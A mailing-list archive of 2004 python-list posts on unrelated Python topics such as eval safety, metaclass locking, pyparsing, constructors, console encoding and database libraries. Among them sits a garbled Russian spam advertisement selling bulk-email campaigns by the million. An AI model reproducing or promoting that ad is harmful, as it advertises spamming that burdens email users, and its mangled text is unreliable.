On Fri, 17 Sep 2004 09:19:26 GMT, rumours say that "Elaine Jackson"
<elainejackson7355 at home.com> might have written:

>"Paul Miller" <pwmiller1 at adelphia.net> wrote in message
>news:pan.2004.09.17.04.39.08.814115 at adelphia.net...
><snip> HTH
>
>It did. Thank you. I made a wrapper for this stuff that I'll include here for
>the benefit of anyone who may be following the discussion from the sidelines.
>
>Peace
>
>def dialog(className):
>    from Tkinter import Tk
>    from tkFileDialog import Open,SaveAs,Directory
>    Tk().withdraw()
>    name = eval(className)().show()
>    if className=='Directory': return name
>    mode = (className=='Open' and 'r') or (className=='SaveAs' and 'w')
>    return file(name,mode)
>

Elaine,

"""eval(className)""" is generally insecure.  Another (more secure and
direct) idea would be to """import tkFileDialog""" and then use
"""getattr(tkFileDialog, className)""" instead.
-- 
TZOTZIOY, I speak England very best,
"Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek


From claird at lairds.us  Thu Sep 30 00:08:09 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 30 Sep 2004 04:08:09 GMT
Subject: Social Analysis and Modeling for Python
References: <415AD6A4.7000400@cloudthunder.com>
	<10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
	<mailman.4096.1096482802.5135.python-list@python.org>
Message-ID: <4abs22-p18.ln1@lairds.us>

In article <mailman.4096.1096482802.5135.python-list at python.org>,
Bishara Gabriel  <bgabriel at cloudthunder.com> wrote:
>Latest Revision of Social Analysis and Modeling in Python:
>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf

Recognition of SimPy greatly comforts me.

Is your thesis that OOP is good for social sciences in contrast to other
sciences, or as with other sciences?  If the latter--as I believe--than you
need to alert readers to Python's existing record of success in serving the
sciences (see, for example, the recent SciPy Conference).

I don't like formulations such as "one-to-one correlation between their
theoretical model and the Python equivalent."  It says both too little and 
too much.  If this were my proposal, I'd aim for the far more powerful,
"this project demonstrates Python's suitability as a vehicle which
simultaneously expresses a theoretical model in a way researchers
understand, and calculates the consequences of that model with a speed
and reliability humans don't match."

Do you realize how ambitious your "Proposal Specifics" sound?  How many
hours do you estimate these seven achievements will require?  What are
the "loadings" of your Project Manager and Chief Consultant?

For you, is "theoretical economics" inherently and comprehensively
Marxian, or are you claiming expertise only in that part of it which is
Marxian?


From peter at engcorp.com  Tue Sep 21 16:15:00 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Sep 2004 16:15:00 -0400
Subject: flat tuple
In-Reply-To: <mailman.3679.1095797498.5135.python-list@python.org>
References: <41501751$0$22757$db0fefd9@news.zen.co.uk>	<mailman.3638.1095768408.5135.python-list@python.org>	<1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com>
	<mailman.3679.1095797498.5135.python-list@python.org>
Message-ID: <xr6dnS7HwKRZFs3cRVn-hw@powergate.ca>

John Lenton wrote:
> On Tue, Sep 21, 2004 at 03:26:37PM +0200, Alex Martelli wrote:
>>Might be, but % wants a tuple as the RHS (assuming the LHS format string
>>has multiple %-formatting elements), NOT a list.
> 
> you mean it actually converts it into a tuple?

This isn't that hard to test:

c:\>python
 >>> 'testing %s %s' % ['use of', 'a list']
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: not enough arguments for format string

-Peter


From irmen at -nospam-remove-this-xs4all.nl  Sun Sep 26 16:39:14 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Sun, 26 Sep 2004 22:39:14 +0200
Subject: Metaclass to make all methods of a class thread-safe
Message-ID: <415728eb$0$78753$e4fe514c@news.xs4all.nl>

Hi,
I've developed the Metaclass below, because I needed a way
to make a bunch of classes thread-safe.
I didn't want to change every method of the class by adding
lock.aqcuire()..lock.release() around the existing code.
So I made a metaclass that essentially replaces every method
of a class with a 'wrapper' method, that does the locking,
invocation, unlocking.

Is this the right approach? It seems to work fine. But I have
very little experience with metaclass programming, so I'd like
to hear some feedback.

Thanks !!

--Irmen de Jong.


# ---- source below ----

from types import FunctionType
from threading import RLock

class ThreadSafeMethodsMetaClass(type):
     def __new__(meta, name, bases, dict):
         meta.convert_methods(dict)
         return super(ThreadSafeMethodsMetaClass, meta).__new__(meta, name, bases, dict)

     def makeThreadsafeMethod(func):
         def threadsafemethod(self, *args, **kwargs):
             self._monitor_lockObj.acquire()
             print ">>got lock"
             try:
                 return func(self, *args, **kwargs)
             finally:
                 self._monitor_lockObj.release()
                 print "<<released lock"
         return threadsafemethod
     makeThreadsafeMethod = staticmethod(makeThreadsafeMethod)

     def convert_methods(cls, dict):
         methods=[ v for k,v in dict.iteritems() if isinstance(v, FunctionType) ]
         for m in methods:
             dict[m.__name__]=cls.makeThreadsafeMethod(m)
         dict["_monitor_lockObj"] = RLock()

     convert_methods = classmethod(convert_methods)


class MyClass(object):
     __metaclass__=ThreadSafeMethodsMetaClass

     def __init__(self):
         print "init!"
     def method(self, a1, a2):
         print a1,a2

m=MyClass()
m.method("irmen",42)


From ville at spammers.com  Wed Sep  1 16:38:52 2004
From: ville at spammers.com (Ville Vainio)
Date: 01 Sep 2004 23:38:52 +0300
Subject: Announcing PyCs, a new Python-like language on .Net
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<1093788608.645541@news.commspeed.net>
	<mailman.2712.1094021283.5135.python-list@python.org>
	<7xoekq4ehv.fsf@ruckus.brouhaha.com>
	<gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net>
Message-ID: <du7llftiv1f.fsf@lehtori.cc.tut.fi>

>>>>> "Mark" == Mark Hahn <mark at prothon.org> writes:

    Mark> On 01 Sep 2004 00:47:40 -0700, Paul Rubin wrote:
    >> Mark Hahn <mark at prothon.org> writes:

    >>> I would have agreed with you before I saw the details of the
    >>> C-Omega language.  Check out this paper on how XML and SQL are
    >>> handled directly in the language:

    >> Yuck, Javascript handled those tasks just fine, it seemed to me.

    Mark> Did you actually read the paper?

And I'd like to ask whether you've checked out David Mertz's
gnosis.xml.objectify?

To me, X# seems mostly like naive buzzword chasing - or a research
project that exists because someone needed a research project.

If you want to do something that could be worthwhile to a larger
number of people, add static type declarations to IronPython. There
you could really be pioneering stuff that will be in py3k. X# sounds
more like perl7, with snowballs chance in hell of being adopted by any
future python iteration. 

-- 
Ville Vainio   http://tinyurl.com/2prnb


From richardshea at fastmail.fm  Mon Sep  6 20:26:22 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 6 Sep 2004 17:26:22 -0700
Subject: Win32/Console - subclass using Python ?
Message-ID: <282f826a.0409061626.16567378@posting.google.com>

Hi - I wondered if anyone had done this before and could provide some
suggestions ? I'm interested in supplying extra functionality to a
Win32 Console (cmd.exe) - full description below for those interested.
I would do this using Python.

I'm having difficulty finding anything about Console based programming
via MSDN - I just wondered if anyone had done anything like this or
alternatively knew where the part of the Win32 API which deals with
Console interaction is on MSDN ? I've found
http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but
that's about it so far.

FULL DESCRIPTION
================
I use the Oracle client SQLPLUS a lot via a Win 32 console. There are
some aspect s of this experience which would bear improvement.

I'm interested in producing a 'super' cmd.exe which would 'help'
SQLPLUS do its thing. I'm thinking for instance of auto-completion of
table names, smart help etc. That's a big topic but just for starters
I would like to be able to create my own 'super cmd.exe'

regards

Richard Shea


From raoulsam at yahoo.com  Mon Sep 20 20:39:24 2004
From: raoulsam at yahoo.com (Raoul)
Date: 20 Sep 2004 17:39:24 -0700
Subject: Pyparsing...
Message-ID: <7b22ae5b.0409201639.7837fca9@posting.google.com>

I am futzing with pyparsing and for the most part enjoying it.
However, I'm running into trouble with whitespace delimited lists. I
get data in blocks like this:

[QC1]
Type=15
NumberCells=1925
CellHeader=X	Y	PROBE	PLEN	ATOM	INDEX
Cell1=132	0	N	25	0	132
Cell2=652	0	N	25	0	652
Cell3=648	0	N	25	0	648
...

I'd like to be able to parse this structure.

Ideally, I'd like for a QC node, to have a dictionary with
{'number':1
 'type' : 15
 'NumberCells' : 1925
 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132',
'index':None}, {'cell':2 ....

I'm running into the following problems:

1. I can't seem to use delimitList() to define a rule that parses the
right hand side of the table into
['x','y','probe','plen','atom','index']. I think it's because my lists
are whitespace delimited.

2. I can't seem to convert value into an integer, for example, I can
parse each row in the table to :
  ['Cell','2','=', '652	0	N	25	0	652']
but am unable to get the setParseAction(see below) to convert and
substitute in the right value.

Any hints will help a great deal. Thanks...

Raoul-Sam


 I have some ugly non functional code below.. 

def cdffile_BNF():
    global cdfbnf 

    if not cdfbnf:
        makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])])
        equals = Literal("=").suppress()
        nonequals = "".join( [ c for c in printables if c != "=" ] ) +
" \t"

        key = Word(nonequals)
        value = Word(nonequals)
        kvp = Group(key + equals + restOfLine)
        kvpBlk = OneOrMore(kvp)

        headerCell = delimitedList(Word(alphanums)," ")
        rowHeader = Combine( Literal("CellHeader") + equals +
headerCell)
        row = Combine(Literal("Cell").suppress() + restOfLine)
        rows = OneOrMore(row)

        CDF = Literal("[CDF]")
        CDFBlk = Group(CDF + kvpBlk)
        
        CHIP = Literal("[CHIP]")
        CHIPBlk = Group(CHIP + kvpBlk)
        CHIPBlk.setResultsName("chip")

        QC = Combine( Literal("[QC").suppress() + Word(nums) +
Literal("]").suppress())
        QCBlk = QC + kvp + kvp + rowHeader + rows
        
        cdfbnf = CDFBlk + CHIPBlk + QCBlk
                
    return cdfbnf


From dperl at rogers.com  Wed Sep  1 12:57:17 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 16:57:17 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com>
Message-ID: <NbnZc.158679$UTP.56286@twister01.bloor.is.net.cable.rogers.com>


"Alex Martelli" <aleaxit at yahoo.com> wrote in message
news:1gjg2g0.1yx50mvx6csq3N%aleaxit at yahoo.com...
>    ...
> Nevertheless, the observation "you cannot have a default constructor and
> a non-default one at the same time" is not correct.  If you want to
> insist that the constructors MUST all be named __init__, otherwise
> they're not constructors but "methods which construct but we cannot name
> constructors because constructors must be named __init__", go ahead, but
> then, again, we are at an information-free tautology.  My point is: you
> can have any number of "methods which construct" (constructants? I think
> calling them constructors is more idiomatic English!-), just by choosing
> the same number of names, one each.  So drawing any conclusion from a
> premise that "you cannot have a default constructor and a non-default
> one at the same time" is faulty reasoning -- the premise is false (by
> any meaningful interpretation of the terms in it) so you can prove
> anything from it.  You may want to try and correctly deduce something
> from the true assertion -- "if you have a default constructor and a
> non-default one they must have two different names" -- but I don't think
> anything necessarily follows from this one.

We are arguing terminology.  I was strictly referring to __init__, but you
are certainly right that Python 'constructors' are a more loose term.

> Sure, this C++ code is faulty.  The way gcc diagnoses that error is
> debatable; I would say the fault is more likely to be a missing
> " :Class1(someinteger) " between the "Class2(int arg)" and the following
> open-brace.  I've made my life for years in a job where one of my main
> tasks was helping hundreds of programmers write good C++, I've seen this
> error often, and the "solution" of adding to Class1 a constructor
> callable without arguments was very rarely the right one; almost
> invariably those mandatory arguments in Class1's constructor _WERE_
> indeed logically necessary -- the class just could not make instances
> with meaningful internal state (meeting not just the class invariants,
> but the "business purpose" of the class) without those arguments.  The
> solution was (if the inheritance between concrete classes just could not
> be removed in favour of preferable idioms such as Martin's Dependency
> Inversion Principle) to ensure subclasses specified the needed arguments
> for their superclasses -- that's exactly what C++'s syntax
>
> Class2(int arg): Class1(someint) { ... }
>
> is _for_.  ("two-phase constructor" and other solutions also emerge
> here).
>
> In brief: given Class1 as it is, you have to call Class1's constructor
> explicitly in Class2's constructor, just like in Python (but with far
> less flexibility, because it needs to happen _before_ Class2's
> constructor body executes -- whence possible needs for two-phase
> constructor and the like).
>
> >  .....
>
> Or more likely, you have to call Class1's constructor explicitly from
> Class'2 constructor.  But sure, C++ does have more implicit, "black
> magic" behavior "behind the scenes" than Python in quite a few aspects
> (though not an unbounded amount) -- the implicit no-arguments do-nothing
> constructor is NOT an example, because the result is exactly the same
> you get in Python if you have no __init__ at all.

You're right, in most cases that would be the right use.  But my example was
just an example and it was just to enforce the earlier statement of "C++ and
Java have overloading and then can also mandate a default constructor for a
parent class."

> I've already explained how you can simulate C++'s behavior, and indeed
> get even MORE implicit if you wish, and I think it would be a disaster
> to USE such a custom metaclass; but if you're sincere in saying it's
> better then you should be KEEN to use it.  I'm supposed to do other
> things this evening (changing some scripts to generate DocBook rather
> than XHTML from some semantic-level markup -- fun, fun, fun...;-) but
> maybe I'll find the time to take a break and show you the custom
> metaclass you need to perpetrate this horror, since you state it's
> "better" than Python's explicitness -- no promises tho...

Thanks, but you don't have to bother.  It's not something I need right away.
But I should learn that for myself so I will look at your previous posting
and other documentation that I'll find.

Dan




From gandalf at geochemsource.com  Thu Sep  2 16:30:27 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Thu, 02 Sep 2004 22:30:27 +0200
Subject: Encoding problems
In-Reply-To: <ch7t8s$tvq$1@news-reader4.wanadoo.fr>
References: <mailman.2782.1094151426.5135.python-list@python.org>
	<ch7t8s$tvq$1@news-reader4.wanadoo.fr>
Message-ID: <413782E3.1090007@geochemsource.com>


Michel Claveau - abstraction m?ta-galactique non triviale en fuite 
perp?tuelle. wrote:

>Hi !
>
>
>On W-XP / W2K, you can solve the problem with :
>    - change the font of the console to "Lucida handwriter"
>    - change your script to :
>
># -*- coding: cp1252 -*-
>
>import os
>ecran=os.popen('MODE CON: CP SELECT=1252').readlines()
>
>s1 = 'n?z'
>s2 = raw_input('Please type in "n?z":')
>print repr(s1)
>print repr(s2)
>
Okay, I understand now.
This is a fault of the win32 console - it defaults to a different 
encoding than other parts of the Windows system.
This is messy but we cannot do anything about it. :-(

>*sorry for my bad english*
>
Not bad at all.
Thanks for your help.

   Laci 2.0




From mcfletch at rogers.com  Fri Sep 10 16:36:43 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 10 Sep 2004 16:36:43 -0400
Subject: Python bell or beep
In-Reply-To: <cht1cc$ero$1@sea.gmane.org>
References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com>
	<cht1cc$ero$1@sea.gmane.org>
Message-ID: <4142105B.3060103@rogers.com>

Jeffrey Barish wrote:

>Greer, Joseph wrote:
>
>  
>
>>I am a former BASIC programmer.  Is there a command I can place in a
>>Python program to make a beep or buzz or bell?
>>    
>>
There are various ways, most platform/shell specific. If you happen to 
be on Windows, check out the standard module winsound. 

HTH,
Mike

________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From me at privacy.net  Wed Sep 22 20:25:15 2004
From: me at privacy.net (Richard Hanson)
Date: Wed, 22 Sep 2004 17:25:15 -0700
Subject: [OT] Linux distro recommendations for HP Omnibook 900B laptop? [was
	Re: Comparioson of purpose for PyGUI and AnyGUI ???]
References: <a5415304.0409160644.41adea51@posting.google.com>
	<cicqq7$kra$2@news-reader4.wanadoo.fr>
	<cicsha$prl@odbk17.prod.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
	<cc887c1d.0409162041.1433bac1@posting.google.com>
	<pan.2004.09.18.07.53.35.276252@virgilio.it>
	<1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com>
	<slrnckoabl.mb3.mlh@furu.idi.ntnu.no>
	<1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com>
	<rcr1l05n3fk3vt8j1cvvjf8s2r19ek2f8a@4ax.com>
	<0r22l05r8hid261ptta9pkp588jvnleoe7@4ax.com>
Message-ID: <lmh3l01111us36vb8qui545c7go5ocoj7u@4ax.com>

[I'm not aware of the local customs re [B]CC'ing the poster being
replied to when changing the subject line to start a new thread. I'd
welcome advice if such is desired. So far, I've only replied
in-group.]

Andrea Griffini wrote:

> On Tue, 21 Sep 2004 20:17:26 -0700, Richard Hanson <me at privacy.net>
> wrote:
> 
> >loading-RH9-tomorrow'ly y'rs,
> 
> OT but I can't resist.

Glad you didn't resist!

> Pay attention to what you're doing and please be sure
> you're installing a very current very patched system.
> I installed RH9 on a server (to replace an old machine
> running RH6) and to my great surprise it lasted to the
> wind of the internet about 6 hours before being rooted
> by a romanian idiot.

Thanks very much for the heads-up. 

As it happens, RH9 is the only relatively new distro I have CDs for.
(I'm on dialup, so DL'ing other distros is a bit onerous.) But, thanks
to your "JIT" warning, I shall immediately see about ordering a
different distro on CD from some online outlet and will forestall the
RH9 installation for the interim.

Can you or anyone recommend a better distro for an HP Omnibook 900B
laptop? 

I currently have only a CardBus Xircom combo modem and ethernet card
(RBEM56G-100) for this machine -- do any distros support this card?
Or, can a different combo card be recommended? Perhaps a
recommendation for just a modem card?

Thanks for any advice! 

(Email replies are welcome, if you wish. I apologize for the munged
email address in my sig, but I think spam tastes like crap :-) and am
trying to avoid such. :-/ )

BTW: I'm not running a server (that I know of... -- I *am* still using
Windows... :-) ). I'm looking for a decent Linux (or other Unix) for
personal use -- usenet, email, webbrowsing, and offline
personal-productivity stuff. 

> Is it only the brand name the part I don't like in
> windows ? I would say not. 

I'm getting *so* tired of spending my limited time and energy on just
*rebuilding* Windows machines. (I had to stick with Windows for some
time due to a family reunion book project I was working on -- the apps
I had available at the time were Windows-only, and the other
contributors were also using Windows-only software. Thankfully, that
seven-year project is now finally done -- so I can move on to a "real"
OS. Hardware reliability remains a problem, though.) 

However, I also immensely dislike the ad-hoc and quite baroque Windows
et al GUIs. I think that the HCI problem has not been adequately
addressed on *any* of the popular platforms (to my knowledge). See my
soon-to-be-posted thread titled "[OT] 'Pre-announcement' of
Python-based 'computing appliance' project" for further info about my
work-in-progress.

Thanks again for the warning re RH9!


off-to-CheapBytes'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From mikel at mail.ru  Tue Sep 21 17:13:31 2004
From: mikel at mail.ru (mikel at mail.ru)
Date: Tue, 21 Sep 2004 21:13:31 -0000
Subject: =?iso-8859-1?q?Macco=E2=FBe_email_pacc=FB=EBk=E8_N1?=
Message-ID: <004001c47ea4$6cc46653$918f93ba@tlb>


?p??e?!
?pe??a?aem ??coko???ek????y? macco?y? pacc??ky (C?AMa) ?a ????e ?em?!.
B?coka? npoxo??moc?? coo??e???, y?????e????? pe?y???a?!
O?xo? ?cex no??o??x ?????po?!
Ha?? ?e??:
1.000.000 n?cem ? 100$ 
5.000.000 ? 350$ 
10.000.000 ? 570$ 
20.000.000 ? 800$ 
- cam?e ???k?e ? ce??!. 3a?em ?e?a?? ??o ?o camomy, ko??a mo??o pyko?o???? npo?ecc?o?a?am?  ? 
C y?o?o??c???em ?y?em pa?o?a?? c Bam?!
_________________________

Email:         emailer at UkrTop.com
ICQ#          144472

QUALCOMM Windows Eudora Version 5.1





Your mail is python-list at python.org
Ignacio Glover

ps get ready

From jeff at ccvcorp.com  Thu Sep  9 22:14:20 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 09 Sep 2004 19:14:20 -0700
Subject: attribute assignment effects all class instances
In-Reply-To: <090920041659242407%anon@anon.net>
References: <090920041659242407%anon@anon.net>
Message-ID: <10k23djai73gad2@corp.supernews.com>

And since others have already told you *why* you're having a problem, 
I'll limit myself to showing you one possible way around that problem.

    class Node:
        def __init__(self, ... , adjacent = None):
            # ....
            if adjacent is None:
                adjacent = [None, None, None, None]
            self.adjacent = adjacent

This way, if you don't specify adjacent, you create a *new* list of Nones, which thus won't be shared by other instances of Node.  If you *do* specify adjacent, then you get what you specified (and it's up to you to make sure that it's not shared with any other Nodes).

Jeff Shannon
Technician/Programmer
Credit International




From aleaxit at yahoo.com  Fri Sep  3 04:06:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 3 Sep 2004 10:06:31 +0200
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
	<mailman.2807.1094184160.5135.python-list@python.org>
Message-ID: <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com>

Tim Peters <tim.peters at gmail.com> wrote:
   ...
> > traceback output in 2.4.  I also had to remove the use of
> > doctest.master since it looks like that's deprecated in 2.4 (it's no
   ...
> doctest.master global.  Under a hopeful belief that nobody was using
> that anyway, I didn't gripe when Edward refactored it out of
> existence.  This is the first time we've heard that anyone *was* using
> it!

I guess gmpy just wasn't on your radar...!  If you have no need for its
multi-precision and special-functions support, that's unsurprising.


> I suppose we could hack one back in, but I'd rather volunteer to
> rewrite the gmpy tests to use the stronger 2.4 gimmicks ...

Thanks, your offer is welcome and gladly accepted -- as long as all the
tests keep running under 2.3 just as well, of course.  There will be a
lot of 2.3 around for a long time -- for example, Apple isn't going to
change the Python version they use in Panther, which is 2.3, at least
until they come out with Tiger, say in May next year, and since, as
usual, they'll change $150 or so for the OS upgrade, many people will
just keep running Panther (and therefore Python 2.3).  Etc, etc.

I do assume that it's easy to keep the hundreds of tests almost
unchanged, to avoid having to maintain them separately in two versions,
and support 2.3 and 2.4 with localized changes to the small spots where
the tests are run...?


Alex


From clifford.wells at comcast.net  Thu Sep  9 21:54:11 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Thu, 09 Sep 2004 18:54:11 -0700
Subject: Postgresql - Preferred Python Library
In-Reply-To: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <1094781251.16580.584.camel@devilbox.devilnet.internal>

On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote:
> Hi All
> 
> 
> I have noticed that there are a numbe rof client libraries for connecting to 
> Postgres.
> 
> Can anyone tell me what is the recommended Python library for database 
> connections

I'd strongly recommend psycopg.  I've used both psycopg and the pgsql
module and found psycopg to be much more stable.  Unfortunately pgsql is
the module shipped with PostgreSQL, so you'll probably have to download
and compile psycpg yourself (and it isn't always particularly
straightforward.  Luckily it's worth the trouble.).

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From skip at pobox.com  Fri Sep 10 11:37:46 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 10 Sep 2004 10:37:46 -0500
Subject: WxInter
In-Reply-To: <Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com>
References: <16705.47355.109973.263814@montanaro.dyndns.org>
	<Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com>
Message-ID: <16705.51786.699668.571410@montanaro.dyndns.org>

    Tom> It seems that the thing that people like about Tk is the Canvas
    Tom> object has anyone tried the wxFloatCanvas as a replacement.

    >> Where is it?

    Michael> http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html

Ah, thanks.  Looking quickly at that I didn't see anything like Tk's tag
capability.  Compare the above with

    http://epydoc.sourceforge.net/stdlib/public/Tkinter.Canvas-class.html

Note all the tag manipulation stuff.

Skip


From danperl at rogers.com  Tue Sep 28 16:12:23 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 16:12:23 -0400
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
	<415976d1$0$23090$ba624c82@nntp05.dk.telia.net>
	<10liubfprlt4g9d@corp.supernews.com>
	<41597d62$0$23054$ba624c82@nntp05.dk.telia.net>
	<1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com>
	<WradnQAV-sMBEsTcRVn-sA@rogers.com>
	<10ljg2vl36tb1e@corp.supernews.com>
	<Iuadnd7p5_COWMTcRVn-qA@rogers.com>
Message-ID: <s_idnU7IA5c2WMTcRVn-sw@rogers.com>

And my bad, again.  Strings do not have an append anyway.

"Dan Perl" <danperl at rogers.com> wrote in message 
news:Iuadnd7p5_COWMTcRVn-qA at rogers.com...
> Sorry, my bad.  I didn't pay attention and I mistook the join( ) for an 
> append( ) while just copying and pasting.  I've never used join( ) myself 
> so it didn't click in my mind.
>
> Dan
> 




From simoninusa2001 at yahoo.co.uk  Wed Sep  1 13:08:47 2004
From: simoninusa2001 at yahoo.co.uk (Simon John)
Date: 1 Sep 2004 10:08:47 -0700
Subject: XML documentation stinks - help?
In-Reply-To: <mailman.2728.1094054755.5135.python-list@python.org>
Message-ID: <ch4vmv$q5s@odak26.prod.google.com>

The way I currently use XML in Perl is that you know certain tags, and
then look for any data within them. E.g. you have:

sub session_end_handler {
if ($tag eq 'session_details') {
my $session_id = $xml{'session_id'};
my $username = $xml{'username'}
}
}

But with the XML examples I've managed to get going with Python, it
seems to work in reverse - you need to know the data you're looking for
first!

from xml.sax import ContentHandler, parseString

xmlsource = """<collection>
<comic title="Sandman" number='62'>
<writer>Neil Gaiman</writer>
<penciller pages='1-9,18-24'>Glyn Dillon</penciller>
<penciller pages="10-17">Charles Vess</penciller>
</comic>
</collection>
"""

class docHandler(ContentHandler):
"""overload contenthandler"""
def __init__(self, title, number):
self.search_title, self.search_number = title, number

def startElement(self, tag, attribs):
print "tag:", tag
title = attribs.get('title', None)
number = attribs.get('number', None)
print "title:", title
print "number:", number

# create instance of dochandler class
handler = docHandler('Sandman', '62')
# parse the xml
parseString(xmlsource, handler)



From ville at spammers.com  Thu Sep 30 05:07:32 2004
From: ville at spammers.com (Ville Vainio)
Date: 30 Sep 2004 12:07:32 +0300
Subject: multiple instance on Unix
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<mailman.4104.1096493884.5135.python-list@python.org>
	<x7d604xxv3.fsf@guru.mired.org> <fngs22-orb.ln1@lairds.us>
	<du7zn38qojj.fsf@amadeus.cc.tut.fi>
	<zaO6d.13713$gG4.4042@newsread1.news.pas.earthlink.net>
Message-ID: <du7u0tgnmzv.fsf@amadeus.cc.tut.fi>

>>>>> "Andrew" == Andrew Dalke <adalke at mindspring.com> writes:

    Andrew> Ville Vainio wrote:
    >> I'd go for pid file - in Unix at least, process id's are not reused so
    >> if no process for the pid in pidfile exists, the process has died.

    Andrew> They aren't?  I remember seeing them cycle before.
    Andrew> Granted, pids are now, what 32 bit numbers so it's rare,
    Andrew> but there's nothing in the Unix specs to say they cannot.

Ok, I stand corrected. My Linux experiments indicated that they didn't
cycle in a "disruptive" fashion like NT seemed to do (where pid
collision is extremely likely).

Luckily, I implemented the pid check by checking the process name as
well :-).

-- 
Ville Vainio   http://tinyurl.com/2prnb


From drconrad at metaplay.com.au  Tue Sep 14 04:26:36 2004
From: drconrad at metaplay.com.au (Simon Wittber)
Date: Tue, 14 Sep 2004 16:26:36 +0800
Subject: {SPAM?} RE: Microthreads without Stackless?
In-Reply-To: <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
Message-ID: <200409140813.i8E8Ddne025365@redpill.digitalventures.com.au>

 
> M.E.Farmer wrote:
> 
>  > David Mertz covered this. :)
>  >     'Implementing "weightless threads" with Python generators.'
>  >     http://gnosis.cx/publish/programming/charming_python_b7.html
> 
> And, to put it provocatively, David Mertz got it wrong.

Interestingly, it appears the articles mentioned above have been re-written
since I first read them 12 months ago. The recipes described now implement a
more co-routine-like behaviour. 

It's now an ugly, ugly recipe though, IMHO.

Sw.



From heikowu at ceosg.de  Thu Sep  9 08:11:08 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Thu, 9 Sep 2004 14:11:08 +0200
Subject: text matching help
In-Reply-To: <001e01c49660$1cca18d0$ccbefea9@twilliams>
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk>
	<200409090130.00953.heikowu@ceosg.de>
	<001e01c49660$1cca18d0$ccbefea9@twilliams>
Message-ID: <200409091411.08557.heikowu@ceosg.de>

Am Donnerstag, 9. September 2004 13:28 schrieb Tim Williams:
> I need to be able to match some input text  to these wildcards  (eg timothy
> will match tim*),    * on its own is invalid,  there must be text before or
> after the *.

Check out the fnmatch module (if you use simple wildcards, unix shell style, 
which aren't regular expressions):

>>> import fnmatch
>>> fnmatch.fnmatch("mylittletext","my*")
True
>>> fnmatch.fnmatch("mylittletext","little*")
False
>>> fnmatch.fnmatch("mylittletext","*little*")
True

For documentation on the wildcards accepted by fnmatch.fnmatch, use

help(fnmatch)

in an interactive console window after you have imported the module.

HTH!

Heiko.


From aleaxit at yahoo.com  Fri Sep 24 15:20:49 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 21:20:49 +0200
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<mailman.3790.1095959172.5135.python-list@python.org>
	<1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>
	<a5415304.0409241053.77f92782@posting.google.com>
Message-ID: <1gkmz7p.8s0hno1ug9eq4N%aleaxit@yahoo.com>

Ron Stephens <rstephens at vectron.com> wrote:

> Speaking of platform specific Python  books (other than Mark Hammond's
> Windows book), what a great idea! There is at least one enthusiastic
> customer for a Mac OS X specific Python book (me!).

